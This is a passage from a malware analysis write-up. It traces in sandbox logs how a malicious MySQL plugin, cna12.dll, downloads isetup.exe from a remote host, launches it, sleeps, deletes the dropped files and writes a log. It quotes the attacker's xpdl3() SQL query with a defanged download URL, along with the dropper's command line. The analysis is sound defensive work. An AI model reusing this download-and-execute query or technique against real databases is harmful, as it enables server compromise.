cd .../cuckoo/storage/analyses/<n>/files
$ find . -iname isetup.exe\* -ls -exec md5sum -b {} \;
569358 116 -rw-r--r-- 1 <user> <group> 115374 Dec 24 11:10 ./2156270017/
isetup.exe.bin
3ae654b9cb0eb2b07264f56d3a8a6be9 *./2156270017/isetup.exe.bin
We have a match. We could even diff the two files to actually compare the contents of them:
$ cd .. $ diff -b 888.exe files/2156270017/isetup.exe.bin ; echo $? 0
Smashing, they’re the same — that looks like a good place to stop for lunch. For the non-UNIX people, that echo $? command is displaying the exit code of the diff command, as diff does not display any output and returns an exit code of 0 if the files match.
Back to my modified version of Cuckoo’s process log file, 1430.offsets (created from Cuckoo’s 1340.csv), and we find it looking up the class id (CLSID) for the application/octet-stream MIME type:
169865: "2012-12-24 00:07:32,502","1340","mysqld.exe","480","428",
"registry","RegOpenKeyExA","FAILURE","0x00000002",
"Registry->0x80000001","SubKey->SOFTWARE\Classes\PROTOCOLS\Filter\
application/octet-stream",
"Handle->0x00000000"
170087: "2012-12-24 00:07:32,502","1340","mysqld.exe","480","428",
"registry","RegOpenKeyExA","SUCCESS","0x00000000",
"Registry->0x80000002","SubKey->SOFTWARE\Classes\PROTOCOLS\Filter\
application/octet-stream",
"Handle->0x000233c8"
170309: "2012-12-24 00:07:32,502","1340","mysqld.exe","480","428",
"registry","RegQueryValueExA","SUCCESS","0x00000000",
"Handle->0x000233c8","ValueName->CLSID","Type->1","Buffer->0x04ecc2b4"
170492: "2012-12-24 00:07:32,502","1340","mysqld.exe","480","428",
"registry","RegCloseKey","SUCCESS","0x00000000",
"Handle->0x000233c8"
The Registry arguments of 0x80000001 and 0x80000002 correspond to HKEY_CURRENT_USER and HKEY_LOCAL_MACHINE respectively, as defined in the winreg.h include file:
$ grep -R " HKEY_" include/* winreg.h:#define HKEY_CLASSES_ROOT ((HKEY)0x80000000) winreg.h:#define HKEY_CURRENT_USER ((HKEY)0x80000001) winreg.h:#define HKEY_LOCAL_MACHINE ((HKEY)0x80000002) winreg.h:#define HKEY_USERS ((HKEY)0x80000003) winreg.h:#define HKEY_PERFORMANCE_DATA ((HKEY)0x80000004) winreg.h:#define HKEY_CURRENT_CONFIG ((HKEY)0x80000005) winreg.h:#define HKEY_DYN_DATA ((HKEY)0x80000006)
After looking up some Internet Explorer settings registry keys, it creates the output file as specified by the szFileName argument to URLDownloadToFileA():
174460: "2012-12-24 00:07:32,682","1340","mysqld.exe","480","428", "filesystem","NtCreateFile","SUCCESS","0x00000000", "FileHandle->0x000233d0","DesiredAccess->1074790528", "FileName->\??\c:\Windows\temp\isetup.exe","CreateDisposition->5"
It continues reading from the TCP connection and writing to both the 888[1].exe cache file and to the output file, c:\Windows\temp\isetup.exe.
The next interesting log entry confirms the next part of our static analysis, the WinExec() call to run the downloaded isetup.exe file. First up are calls to open the newly downloaded isetup.exe, and to close the cache file.
# Process Monitor log file
"11:07:33.9298190","mysqld.exe","1340","CreateFile",
"C:\WINDOWS\Temp\isetup.exe","SUCCESS",
"Desired Access: Read Data/List Directory, Execute/Traverse,
Read Attributes, Synchronize, Disposition: Open,
Options: Synchronous IO Non-Alert, Non-Directory File,
Attributes: n/a, ShareMode: Read, Delete, AllocationSize: n/a,
OpenResult: Opened"
"11:07:33.9314474","mysqld.exe","1340","CloseFile",
"C:\Documents and Settings\...\Local Settings\
Temporary Internet Files\Content.IE5\H8T9VMND\888[1].exe",
"SUCCESS",""
"11:07:34.0217047","mysqld.exe","1340","IRP_MJ_CLOSE",
"C:\Documents and Settings\...\Local Settings\
Temporary Internet Files\Content.IE5\H8T9VMND\888[1].exe",
"SUCCESS",""
Following this are a flurry of registry and file accesses which are part of Windows loading an executable file, culminating in a call to CreateProcessInternalW() to create the new process:
# Process Monitor log file
# 1340.csv:1145 CreateProcessInternalW("c:\Windows\temp\isetup.exe
# -o""C:\windows\temp\tmp209"" -pabc -y")
"11:07:34.0779819","mysqld.exe","1340","Process Create",
"c:\Windows\temp\isetup.exe","SUCCESS","PID: 1716,
Command line: c:\Windows\temp\isetup.exe -o""C:\windows\temp\tmp209""
-pabc -y"
"11:07:34.0781434","mysqld.exe","1340","CloseFile",
"C:\WINDOWS\Temp\isetup.exe","SUCCESS",""
# this WriteFile() writes the line below to Cuckoo's process log file,
"11:07:34.0782588","mysqld.exe","1340","WriteFile",
"C:\cuckoo\logs\1340.csv","SUCCESS","Offset: 204,678, Length: 325"
# Cuckoo's process log file
204678: "2012-12-24 00:07:34,074","1340","mysqld.exe","480","428",
"process","CreateProcessInternalW","SUCCESS","0x00000001",
"ApplicationName->",
"CommandLine->c:\Windows\temp\isetup.exe -o""C:\windows\temp\tmp209""
-pabc -y",
"CreationFlags->0","ProcessId->1716","ThreadId->532",
"ProcessHandle->0x000233e8","ThreadHandle->0x000233ec
One thing that that log entry tells us, is that thread 480 is the main thread running the xpdl3() function in cna12.dll.
We’re now on the tail end of the dynamic analysis (of cna12.dll at least) with the following Cuckoo process log entries:
217140: "2012-12-24 00:07:39,211","1340","mysqld.exe","480","428", "system","NtClose","SUCCESS","0x00000000", "Handle->0x000233e8" 217262: "2012-12-24 00:07:39,211","1340","mysqld.exe","480","428", "system","NtClose","SUCCESS","0x00000000", "Handle->0x000233ec"
Sleep(10000) to sleep for ten seconds, presumably to let the isetup.exe process start and download C:\Windows\temp\tmp209\main.exe:
217384: "2012-12-24 00:07:39,221","1340","mysqld.exe","480","428", "system","NtDelayExecution","SUCCESS","0x00000000", "Milliseconds->10000"
Attempt to WinExec() C:\Windows\temp\tmp209\main.exe:
217516: "2012-12-24 00:07:49,226","1340","mysqld.exe","480","428", "process","CreateProcessInternalW","FAILURE","0x00000000", "ApplicationName->", "CommandLine->C:\Windows\temp\tmp209\main.exe", "CreationFlags->0","ProcessId->0","ThreadId->0", "ProcessHandle->0x00000000","ThreadHandle->0x00000000"
Sleep(10000) to sleep for another ten seconds, presumably to let the main.exe process start:
217803: "2012-12-24 00:07:49,226","1340","mysqld.exe","480","428", "system","NtDelayExecution","SUCCESS","0x00000000", "Milliseconds->10000"
Delete the dropped executable files:
217935: "2012-12-24 00:07:59,230","1340","mysqld.exe","480","428", "filesystem","DeleteFileW","FAILURE","0x00000000", "FileName->c:\Windows\temp\isetup.exe" 218083: "2012-12-24 00:07:59,230","1340","mysqld.exe","480","428", "filesystem","DeleteFileW","FAILURE","0x00000000", "FileName->C:\Windows\temp\tmp209\main.exe"
Creating, writing to, and closing the log file, v3.log:
218236: "2012-12-24 00:07:59,230","1340","mysqld.exe","480","428", "filesystem","NtCreateFile","SUCCESS","0x00000000", "FileHandle->0x000233ec","DesiredAccess->3222274176", "FileName->\??\c:\Windows\v3.log","CreateDisposition->3" 218456: "2012-12-24 00:07:59,240","1340","mysqld.exe","480","428", "filesystem","NtWriteFile","SUCCESS","0x00000000", "FileHandle->0x000233ec","Buffer->0x00348a28" 218611: "2012-12-24 00:07:59,240","1340","mysqld.exe","480","428", "system","NtClose","SUCCESS","0x00000000", "Handle->0x000233ec"
Just after writing that log entry, Process Monitor tells us that the inbound MySQL TCP connection was closed:
# Process Monitor log file # The WriteFile() call is included to verify that the TCP Disconnect entry # occurred just after logging the NtClose() call, shown above, in the # Cuckoo log file. "11:07:59.2420190","mysqld.exe","1340","WriteFile", "C:\cuckoo\logs\1340.csv","SUCCESS", "Offset: 218,611, Length: 122" "11:07:59.2422872","mysqld.exe","1340","TCP Disconnect", "localhost:3306 -> localhost:1037","SUCCESS","Length: 0"
Finally, we just need to test the alternate branch that we saw in the xpdl3() function, namely what happens if URLDownloadToFileA() fails. From looking at the xpdl3() function in the debugger during the static analysis, the only thing that it did if URLDownloadToFileA() failed was allocate memory for a string, and return that string to the MySQL server.
I’m going to run the dynamic analysis again, but this time the Cuckoo VM will not have access to the Internet. We’re expecting to see the wrong…ok.. message returned in response to the MySQL xpdl3() function call this time, instead of the ok… message, and it shouldn’t create the v3.log file.
Q: select xpdl3('hxxp:// hackfei1 . 3322 . org : 22 / 888.exe','c:\\isetup.exe')
wrong...ok..(hxxp:// hackfei1 . 3322 . org : 22 / 888.exe) portnumber (3389)
osversion (WinXP)
… and we do see a different message and
.../cuckoo/storage/analyses/<n>$ find files -iname v3.log\* -ls $
there isn’t a v3.log file.
Conclusion
The dynamic analysis corroborated our static analysis nicely, in that we saw the following:
- Creation of the cna12.dll file in the MySQL plugins directory, C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\
- Loading of cna12.dll and imported DLL files
- Creation of the RDP-Tcp registry key
- Reading of the RDP-Tcp\PortNumber value
- The loading of samlib.dll, presumably the result of the NetUserAdd() call
- A CreateFile() call consistent with that performed by DeleteFile()
- Activity consistent with the downloading of an application/octet-stream by HTTP
- getaddrinfo() used to get the IP address of the host in the URL from the MySQL command
- The binary 888.exe file extracted from the network capture matches the isetup.exe dropped file captured by Cuckoo.
- The creation of c:\Windows\temp\isetup.exe, being the output file for URLDownloadToFileA()
- The creation of a new process with the command line c:\Windows\temp\isetup.exe -o”C:\windows\temp\tmp209″ -pabc -y
- Ten second Sleep()
- Attempt to create a new process with the command line c:\Windows\temp\tmp209\main.exe
- Another ten second Sleep()
- Deletion of c:\Windows\temp\isetup.exe and C:\Windows\temp\tmp209\main.exe
- Writing to a log file c:\Windows\v3.log
- The following string returned to the MySQL server, as can be seen by the MySQL query/response log that misql.py created: ok…(c:\isetup.exe) portnumber (3389) osversion (WinXP)
There is just one thing left to do, examine the v3.log file that Cuckoo saved as a dropped file:
$ find files -iname v3.log\* -ls -exec cat {} \;
569361 4 -rw-r--r-- 1 <user> <group> 2 Dec 24 11:10 files/3851122010/
v3.log.bin
ok$
The log file only contains the string ok (without any end-of-line characters, which is why the $ of the shell prompt appears immediately after it). Brilliant, that matches our static analysis.